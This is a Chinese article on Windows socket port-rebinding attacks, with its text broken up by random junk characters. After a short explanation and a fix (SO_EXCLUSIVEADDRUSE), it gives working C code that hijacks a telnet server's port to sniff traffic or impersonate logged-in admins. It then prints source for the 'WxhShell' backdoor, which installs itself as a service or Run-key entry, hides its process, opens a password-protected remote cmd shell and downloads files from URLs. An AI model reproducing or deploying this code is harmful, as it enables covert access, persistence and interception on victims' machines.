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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lA pZC6Iwk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [j}JCmWY ~Pj q3etk saddr.sin_family = AF_INET; _6SAU8M, 6w=`0r3hy saddr.sin_addr.s_addr = htonl(INADDR_ANY); Mj{w/' 1ysQvz bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2Rt6)hgY R
RE8|%p;B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DXo]O}VF S,j. ?u*! 这意味着什么?意味着可以进行如下的攻击: f S[-K?K Vr|e(e.% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9O- 2 lm6hFvEZ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &JXb) W ME$J42 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iy8J l 0,nz*UDk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -V:HT
j ,3!$mQL= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lXg5UrW tYXE$i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {l)$9! EJ>&\Iq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fZezDm(Q 6Cz
O
ztn #include qVKd c*R- #include o K>(yC[ #include CxTmW5l #include oNtoqYwH DWORD WINAPI ClientThread(LPVOID lpParam); fd4C8>*7G int main() #1/~eIEY { \nt~K}a WORD wVersionRequested; )q[P&f(h DWORD ret; {9yf0n WSADATA wsaData; BY.k.]/ BOOL val; V
^+p:nP SOCKADDR_IN saddr; J*[@M*R;& SOCKADDR_IN scaddr; 4Wp5[(bg int err; 'L7qf'RV SOCKET s; qXg&E}]:= SOCKET sc; 'S1u@p,q int caddsize; G[\TbPh HANDLE mt; Z;%uDlcXI DWORD tid; *X(:vET wVersionRequested = MAKEWORD( 2, 2 ); X%+lgm+ err = WSAStartup( wVersionRequested, &wsaData ); R!%nzL@e&` if ( err != 0 ) {
0_eqO'" printf("error!WSAStartup failed!\n"); mwo:+^v( return -1; HT6 [Z1 } #n'.a1R saddr.sin_family = AF_INET;
v&|65[< `Bw]PO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "bIb?e2h9G X+C*+k,z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a8f#q]TyQ saddr.sin_port = htons(23); %\v8FCb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?0_<u4 { VD~5]TQ printf("error!socket failed!\n"); \4L ur return -1; 0eNdKE } %W"u4
NT7 val = TRUE; uMEM7$o //SO_REUSEADDR选项就是可以实现端口重绑定的 vY-CXWC7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \ dFE.4 { 0k5-S~_\ printf("error!setsockopt failed!\n"); oGRk/@ return -1; =nGFLH6) } HbegdbTJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !1G
KpL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W!wof-1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J(l\VvK KGYbPty} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?1D!%jfi { BS*79heY ret=GetLastError(); $
]s^M=8 printf("error!bind failed!\n"); N<9 c/V return -1; y)fMVD"( } 7a1o#O listen(s,2);
yf:Vhr while(1) /[<F
f { 2ZY$/ caddsize = sizeof(scaddr); &em~+83 //接受连接请求 W;Y^(f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M
bWby' if(sc!=INVALID_SOCKET) =I`S7oF { }6@E3z]AMO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hBjU(}\3 if(mt==NULL) 6u0>3-[6OD { } Bf@69 printf("Thread Creat Failed!\n"); az F!V break; #4JMb#q0E } r8s>s6vm } ]>1Mq,! CloseHandle(mt); +6#$6 hG } )&@YRT\c?8 closesocket(s); rx2)uUbR WSACleanup(); y:RW:D& return 0; F
qH))2 } 'F d+1
3 DWORD WINAPI ClientThread(LPVOID lpParam) `eMZhYo { gz~oQ
l)zJ SOCKET ss = (SOCKET)lpParam; WT'-.UX m SOCKET sc; uu.X>agg unsigned char buf[4096]; ~HB#7+b SOCKADDR_IN saddr; 1.du#w long num; dd DWORD val; |9jK-F6 DWORD ret; x95s%29RS //如果是隐藏端口应用的话,可以在此处加一些判断 t`Kpbfk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 LDr?'M!D saddr.sin_family = AF_INET;
$@L;j saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k|/VNV( =0 saddr.sin_port = htons(23); /oT~CB.. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZAr6RRv ^ { H~Uf2A)C printf("error!socket failed!\n"); Sb[>R(0: return -1; k24I1DlR8 } {Dpsr` & val = 100; ',r` )9o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LP"g(D2'n {
UjI./"]O ret = GetLastError(); b* n3Fej return -1; p<
7rF_?W0 } 4Hz3KKu if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4
neZw'm { .o/|]d`% ret = GetLastError(); 93]63NY return -1; 0`x>p6.)G } AkQ(V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R!M' { rWTaCU^qV printf("error!socket connect failed!\n"); \p(S4?I7 closesocket(sc); !, BJO3& closesocket(ss); d_25]B( return -1; $`|hF[tv } C~h#pAh while(1) peVY2\1>R { cg8/v:B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n+8YTjd //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Vy8eI`4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LO_Xrj num = recv(ss,buf,4096,0); uVqc:Q" if(num>0) KNeVSZT send(sc,buf,num,0); h>`[p,o else if(num==0) H1k)ya x4_ break; -s0SQe{!_ num = recv(sc,buf,4096,0); p%$r\G-x if(num>0) %@PcQJg U< send(ss,buf,num,0); N/o?\q8 else if(num==0) dHY@V>D'- break; PA^*|^;Xh } QZVyU8j3 closesocket(ss); HIc;Lc8$ closesocket(sc); Z;uKnJh return 0 ; 7KlL%\ } 8'Q+%{?1t XZOBK^,5^B C1;uAw?\ ========================================================== <9]"p2 2E-Kz?,:[ 下边附上一个代码,,WXhSHELL TgcCR:eL= r ~{nlLO} ========================================================== "q?(rx; 5$U 49j #include "stdafx.h" 0aY|: :$G^TD/n #include <stdio.h> :rr<#F #include <string.h> zu}uW,XH- #include <windows.h> dzIBdth #include <winsock2.h> < dE7+w #include <winsvc.h>
ck;:84 #include <urlmon.h> 1O Ft}>1 lz`\Q6rZ #pragma comment (lib, "Ws2_32.lib") &- p(3$jn7 #pragma comment (lib, "urlmon.lib") 9BakxmAc ,O:4[M !$w #define MAX_USER 100 // 最大客户端连接数 ()|e
xWW #define BUF_SOCK 200 // sock buffer aUMiRm- #define KEY_BUFF 255 // 输入 buffer cUug}/!I !\'w>y7 #define REBOOT 0 // 重启 iYLg[J" #define SHUTDOWN 1 // 关机 c\.)vH F7} yt #define DEF_PORT 5000 // 监听端口 7oE:] j/Kul}Ml\* #define REG_LEN 16 // 注册表键长度 #sU>L= #define SVC_LEN 80 // NT服务名长度 w?D= 8;qOsV)UDT // 从dll定义API mg*iW55g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !"hlG^*9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z84w9y7O< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d*TH$-F!p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yHY2 SXm _Q #[IH9 // wxhshell配置信息 HHx5VI struct WSCFG { ]fY:+Ru int ws_port; // 监听端口 eF;Jj>\R+i char ws_passstr[REG_LEN]; // 口令 # 9bw'm int ws_autoins; // 安装标记, 1=yes 0=no CM~x1f *v char ws_regname[REG_LEN]; // 注册表键名 f:8!@,I char ws_svcname[REG_LEN]; // 服务名 -qSGa;PJ char ws_svcdisp[SVC_LEN]; // 服务显示名 \&d1bq char ws_svcdesc[SVC_LEN]; // 服务描述信息 lGet)/w;c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZW))Mx#K=T int ws_downexe; // 下载执行标记, 1=yes 0=no E7$ aT^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" LI-ewea char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tG]W!\C'h [Qr_0O }; un\o&0} ^d>m`*px // default Wxhshell configuration [ !~8TF struct WSCFG wscfg={DEF_PORT, .&u
@-Vm "xuhuanlingzhe", ^Cp;#|g, 1, <DqFfrpc "Wxhshell", zq5N@dF "Wxhshell", 6oWFj eZ0 "WxhShell Service", |s#,^SJ0 "Wrsky Windows CmdShell Service", t^bh2$J "Please Input Your Password: ", 2L<1]:I 1, a"cw%L " http://www.wrsky.com/wxhshell.exe", D{7sfkcJ "Wxhshell.exe" N/C$8D34 }; #x;d+Q@ ?RE"<L // 消息定义模块 )3F}IgD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U7LCd+Z5X char *msg_ws_prompt="\n\r? for help\n\r#>"; G=e'H- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; "Ml#,kU<T char *msg_ws_ext="\n\rExit."; ,H|K3nh char *msg_ws_end="\n\rQuit."; pw))9~XU char *msg_ws_boot="\n\rReboot..."; u$qasII char *msg_ws_poff="\n\rShutdown..."; VaonG]Ues char *msg_ws_down="\n\rSave to "; ;Zf7|i`R3 <'T DOYb char *msg_ws_err="\n\rErr!"; 9AWP`~l` char *msg_ws_ok="\n\rOK!"; ']!wc8m1" [$6YPM>Ee char ExeFile[MAX_PATH]; ;Gp9
? 0 int nUser = 0; }w=|"a|, HANDLE handles[MAX_USER]; a'q&[08 int OsIsNt; 55b/giX Ct(^nn$A SERVICE_STATUS serviceStatus; RSeav SERVICE_STATUS_HANDLE hServiceStatusHandle; n1x3q/~ Vf(..8 // 函数声明 ZXj*Vu$_4 int Install(void); {Zs
EYUP int Uninstall(void); [:izej(\ int DownloadFile(char *sURL, SOCKET wsh); v)vogtAQa int Boot(int flag); (\'lV8}U void HideProc(void); E.B6u, Te int GetOsVer(void); A'uubFRL2[ int Wxhshell(SOCKET wsl); cr18`xU void TalkWithClient(void *cs); IUWJi\, int CmdShell(SOCKET sock); PE_JO(e;Xm int StartFromService(void); n-?zH:]GG{ int StartWxhshell(LPSTR lpCmdLine); ZP:+ '\&J uxX 3wY;M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \R
3O39[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); >kuu\ Vo%ikR # // 数据结构和表定义 juWbd|ad" SERVICE_TABLE_ENTRY DispatchTable[] = ?>R(;B|ER { <\d`}A:& {wscfg.ws_svcname, NTServiceMain}, C
szZr>Z {NULL, NULL} c?Zi/7 }; >2'A~?% A/ Sj>Y1j // 自我安装 &[|Z2} int Install(void) 16ip:/5 { l>oJ^J char svExeFile[MAX_PATH]; : t
D`e< HKEY key; ;Rxc(tR!n strcpy(svExeFile,ExeFile); aMK\&yZD z2A,*|I // 如果是win9x系统,修改注册表设为自启动 9+Wf*:*EW if(!OsIsNt) { Ln4Dq[M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !6 kn>447Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3z k},8fu RegCloseKey(key); K,bX<~e5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v# fny RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _GoFwVO RegCloseKey(key); T0o0_R return 0; ,{'ZP_ } ^C2SLLgeJ } QqC-ztz } R2Q1Rk# else { =QwT)KRB% dA#'HMh@ // 如果是NT以上系统,安装为系统服务 Rx@0EPV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FZ FPzH if (schSCManager!=0) 8qUNh# { t#!AfTY$w SC_HANDLE schService = CreateService .|:R#VW ( 4`sW_
ks schSCManager, Kciz^)'Z wscfg.ws_svcname, IR8qFWDZ wscfg.ws_svcdisp, UD&pL'{s SERVICE_ALL_ACCESS, ]~pM;6Pu0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5IRUG)Icr SERVICE_AUTO_START, DnCIfda2g SERVICE_ERROR_NORMAL, ;|,*zD svExeFile, !W b Q9o NULL, 6anH#=( NULL, "JgwL_2 NULL, _Q*,~ z~ NULL, OL.{lKJ3DV NULL cVaGgP}\ ); 0c&DSL}6 if (schService!=0) -^>7\]
{ K;R!>p}t CloseServiceHandle(schService); YCG$GD CloseServiceHandle(schSCManager); cU "uKR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0|mCk strcat(svExeFile,wscfg.ws_svcname); BtF7P}:MGf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !#4b#l(e6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1#XZVp;M RegCloseKey(key); ddlF4L_ return 0; -c[fg+L9 } 2FM}"g<8 } cmp@Ow"c CloseServiceHandle(schSCManager); Vzh\1cF } cOdgBi } f5*hOzKG6 DH])Q5 return 1; .aC/ g?U } 2t3)$\ylQp AD7&-=p&w // 自我卸载 }(#;{_ int Uninstall(void) /9ZU_y4&3f { ,/eAns`ZU HKEY key; s[t?At-> rL/H{.@$` if(!OsIsNt) { Dd:48sN:Jq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b}ODc]3 RegDeleteValue(key,wscfg.ws_regname); ^5R2~ RegCloseKey(key); R E9`T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I9sQPa RegDeleteValue(key,wscfg.ws_regname); .bNG:y> RegCloseKey(key); =GC,1WVEqV return 0; wd2z=^S~ } B*}:YV } 2GRv%:rZ } U ?6.UtNf else { 'On%p|s)H /kqa|=-`q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xH>j if (schSCManager!=0) 4@9xq<<5 { eY`o=xN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &Y2Dft_K if (schService!=0) "BC;zH: { )D7/[zb^ if(DeleteService(schService)!=0) { @lCyH(c% CloseServiceHandle(schService); N@I=X-7nh| CloseServiceHandle(schSCManager); TV?MB(mN return 0; 5M#LO@U } n}8}:3" CloseServiceHandle(schService); $OaxetPH } ~6#O5plKc CloseServiceHandle(schSCManager); 1-sG`% } O-n JuZJgX } j;EH[3 }(9ZME<( return 1; ` c" } ^(Wu$\SA Pk`3sfz // 从指定url下载文件 7DWGYvv[ int DownloadFile(char *sURL, SOCKET wsh) 8Q73h/3 { 9[:TWvd HRESULT hr; ZDm Y${J char seps[]= "/"; wAc;{60s] char *token; bg^<e}{<H char *file; z6 .^a-sU5 char myURL[MAX_PATH]; m-<m[ 49 char myFILE[MAX_PATH]; r"`7ezun: CEBa,hp@ strcpy(myURL,sURL); gCx#&aXS token=strtok(myURL,seps); 2u(G:cR while(token!=NULL) KESM5p"f { [$z- file=token; nPUD6<bF token=strtok(NULL,seps); b[ ~-b } /])P{"v$^ U.N?cKv GetCurrentDirectory(MAX_PATH,myFILE); *rA]q' jM strcat(myFILE, "\\"); &BN#"- J strcat(myFILE, file); A5Lzd send(wsh,myFILE,strlen(myFILE),0); \%&eDE 0 send(wsh,"...",3,0); Yzw[.(jc} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JgBC:t^\pV if(hr==S_OK) rbrh;\<jM return 0; ?$VkMu$2k else M<P8u`)>4H return 1; bP&1tE N t\ZM } VPb8dv(a3 Qw<&N$ // 系统电源模块 LHSbc!Y'. int Boot(int flag) #tA/)Jvi { W"&,=wvg2 HANDLE hToken; }d%Fl}.Ez TOKEN_PRIVILEGES tkp; x
kdC-S d-TpY*v if(OsIsNt) { E@4/<;eKK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .sD=k3d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M[(pLYq: tkp.PrivilegeCount = 1; $CZ'[`+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <T]ey AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "egpc*|] if(flag==REBOOT) { ?/8V%PL~$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y2=yh30L0E return 0; G"h}6Za;DO } WWATG= else { #\\|:`YV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <6X*k{ return 0; e0hY } ^,aI2vC } ER0B{b else { B:Hr{%O if(flag==REBOOT) { c:""&>Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <
pZwM return 0; s;-AZr) } lX"6m}~D else { 6"R'z#{OF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >T-4!ZvS\j return 0; 9dWz3b1[] } 4eJR=h1 } L$,yEMCe }b/P\1#z return 1; Nnq1&j"m } {(I":rt# nu(7YYCM$ // win9x进程隐藏模块 o=Y'ns^a( void HideProc(void) JfmYr47Pv { W2'!Pc,W \>X!n2rLZe HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x,ZF+vE if ( hKernel != NULL ) h}kJ,n { ;%;||?'v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F~eY'~&H} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -+0kay% FreeLibrary(hKernel); ^b.#4i(v } 6[SIDOp*^ "lSh4X return; <y?=;54a } `evF?t11X nv\K!wZI=b // 获取操作系统版本 Qqs1%u;e8 int GetOsVer(void) pTXF^:8 { A0:rn\$l3 OSVERSIONINFO winfo; W#=,FZT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dCeLW GetVersionEx(&winfo); );kD0FO1| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qG ? :Q return 1; n>w<vM else ]Y!x7 return 0; V:vqt@ } 2=/-,kOL_ zTc*1(^ // 客户端句柄模块 T5z]=Pd"^ int Wxhshell(SOCKET wsl) Q<gUu^rq { "c|Rpzs[ SOCKET wsh; 5~j#Z (}u struct sockaddr_in client; FRQ0t!b<M1 DWORD myID; K6sXw[VC[ "%\hDL; while(nUser<MAX_USER) 57-Hx; { 0[e!/*_V int nSize=sizeof(client); } `5k^J$x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O1bW, n( if(wsh==INVALID_SOCKET) return 1; xiDgQTDz =4l @A> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _{-[1-lN5_ if(handles[nUser]==0) dDIR~!T closesocket(wsh); {M5t)-
else *} ? nUser++; ~f[ Y; } EO~L.E%W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kwL|gO1L WTJ{M$ return 0; p4*L}Q } &*%x]fQ@ x~vNUyEN) // 关闭 socket "r*`*1 void CloseIt(SOCKET wsh) QXN_ ?E,g/ { IWq#W(yM closesocket(wsh); &N._}ts nUser--; JO+tY[q ExitThread(0); &T~X`{V]` } 9)NKI02M| EK Vcz'w // 客户端请求句柄 W\NC3] void TalkWithClient(void *cs) N2"B\ { KmTFJ,iM w"wW0uE^ SOCKET wsh=(SOCKET)cs; qz{9ND|) char pwd[SVC_LEN]; M/dgW`c char cmd[KEY_BUFF]; >36,lNt char chr[1]; X;N?L%Pp int i,j; 6-fv<Pn w.a9}GC while (nUser < MAX_USER) { ,(pp+hNq b5LToy: if(wscfg.ws_passstr) { r9Ogez ER if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J E7m5kTa //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f?51sr //ZeroMemory(pwd,KEY_BUFF); dGn0-l'q i=0; )iQ^HZ while(i<SVC_LEN) { ^n(FO,8c D2kmBZ3 // 设置超时 uVCH<6Cp fd_set FdRead; Z|%h-~ struct timeval TimeOut; _X~O6e-! FD_ZERO(&FdRead); (8)9S6 FD_SET(wsh,&FdRead); 4&sf{tI TimeOut.tv_sec=8; ?'z/S5&j TimeOut.tv_usec=0; CV.|~K0O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %,_ZVgh0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xt<1b lz~^*\ F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %DYh<U4N pwd =chr[0]; "(7y%TFt: if(chr[0]==0xd || chr[0]==0xa) { A*?PH`bY pwd=0; d\l{tmte break; Syy{ ^Ae} } rZJJ\ , | i++; e,/]]E/o } ~TEn + .R)P
|@z L // 如果是非法用户,关闭 socket uC^)#Y\" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \&hq$ } P:4"~]} dAx
? , send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i[IFD]Xy!j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lo{wTYt:J ou <3}g while(1) { XGR2L
DR s@ @Km1w ZeroMemory(cmd,KEY_BUFF); A-T-4I w\o6G7 // 自动支持客户端 telnet标准 W~;Jsd=f j=0; u9OY
Jo while(j<KEY_BUFF) { LSou]{R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <VKJ+ cmd[j]=chr[0]; -je} PwT if(chr[0]==0xa || chr[0]==0xd) { L
AasmQ cmd[j]=0; @6>Q&GYqt break; tfGs|x } j'z#V_S j++; W_`]7RO8 }
x2"1,1%H7 rM,e$ // 下载文件 ,s #~00C| if(strstr(cmd,"http://")) { E5n7
< send(wsh,msg_ws_down,strlen(msg_ws_down),0); $qQYxx@ if(DownloadFile(cmd,wsh)) 7qB4_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Rk8qRB else LBCH7@V1yR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k
i<X ^^ } 9f( X7kt else { :}zyd;Rc |NZi2Bu switch(cmd[0]) { @F<{/|P Wn(!6yid // 帮助 U]sAYp^$ case '?': { SWV*w[X<X send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U.Mfu9}#: break; V2Vr7v=Y" } f[k#Znr // 安装 iH }- case 'i': { q5SPyfE[ if(Install()) *=!e, send(wsh,msg_ws_err,strlen(msg_ws_err),0); .P)lQk\ else ~DInd-<5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1RYrUg"s" break; 8~C_ng-wn } VO|ECB2e // 卸载 w+R/>a(] case 'r': { qg
oB}n% if(Uninstall()) z3+@[I$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); .d1ff]; else Ds">eNq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kP
]Up&' break; f$xXR$mjf } mQ:{>` // 显示 wxhshell 所在路径 q,, case 'p': { \0b}Z#'0 char svExeFile[MAX_PATH]; $9,&BW_* strcpy(svExeFile,"\n\r"); LgNIb strcat(svExeFile,ExeFile); &W@2n&U.q send(wsh,svExeFile,strlen(svExeFile),0); ^z{szy?Fg break; {|?^@ } '[{<aEo // 重启 UucI>E3?P{ case 'b': { 5g7@Dj,. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e?]5q ez if(Boot(REBOOT)) W "'6M=* send(wsh,msg_ws_err,strlen(msg_ws_err),0); $y8-JR~ else { 1D*=ZkA) closesocket(wsh); t5-O-AI[b{ ExitThread(0); B}iEhWO6 } h3CA,$HJ break; SndR:{ } F^u12R) // 关机 >NKJ@4Y case 'd': { xs{pGQ6Q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f jx`|MJ if(Boot(SHUTDOWN)) Z>9@)wo send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dIev< else { xqG<R5k>> closesocket(wsh); bE _8NA"2 ExitThread(0); qiNVaV\wr| } 8>v_th break; @sXv5kZ: } Al-`}g+^ // 获取shell ~#pATPW@( case 's': { FJ;I1~?? CmdShell(wsh); YaC%69C' closesocket(wsh); $H)^o! ExitThread(0); 4@PA+(kvS break; Xqf,_I=V } |THpkfW // 退出 yaj dRU case 'x': { >pv.,cj send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BO[:=x` CloseIt(wsh); VzP az\e break; 3kn-tM } G4)~p!TSQ // 离开 ;g|Vt}a&4 case 'q': { <Y]LY_( send(wsh,msg_ws_end,strlen(msg_ws_end),0); tk"+ u_u w closesocket(wsh); sK}AS;: WSACleanup(); Fv$tl)p* exit(1); gQn%RPMh break; :$WO"HfMSn } 'FErk~}/4s } u R0UfKK } b[74$W{ T`&zQQ6F' // 提示信息 /WuYg
OI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C~ 1] } 1R2IlUlzFr } Ir9GgB Met]|& return; V@
>(xe7 } Cr.YSWg)4 en<~_|J // shell模块句柄 N,(! int CmdShell(SOCKET sock) :X0L6y)u { p`"k=tZ{ STARTUPINFO si; aB,-E>+ ZeroMemory(&si,sizeof(si)); 5'zXCHt si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Le]qR9Y] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U$OZkHA[ PROCESS_INFORMATION ProcessInfo; 39X~<\&' char cmdline[]="cmd"; R;< q<i_l CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J&xZN8jW return 0; .GrOdDK$ns } `/8@Fj u^Q`xd1 // 自身启动模式 '75T2Ud int StartFromService(void) i>m%hbAk { %*
"+kwZ typedef struct >i/jqT/ { Tq1\ DWORD ExitStatus; kaBjA* DWORD PebBaseAddress; S_ATsG*( DWORD AffinityMask; 4 PK}lc DWORD BasePriority; n!jmxl$ ULONG UniqueProcessId; jZXa
R ULONG InheritedFromUniqueProcessId; aO' #!k*R } PROCESS_BASIC_INFORMATION; )^j_O^T5 um2a#6uo PROCNTQSIP NtQueryInformationProcess; p+d-7'?I x?h/e; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DR#" 3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5UEZpxnv /v{+V/'+ HANDLE hProcess; qN!oN* PROCESS_BASIC_INFORMATION pbi; 9zp!lw~;+ &,nv+>D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1QoW/X'>. if(NULL == hInst ) return 0; \[MAa:/ I
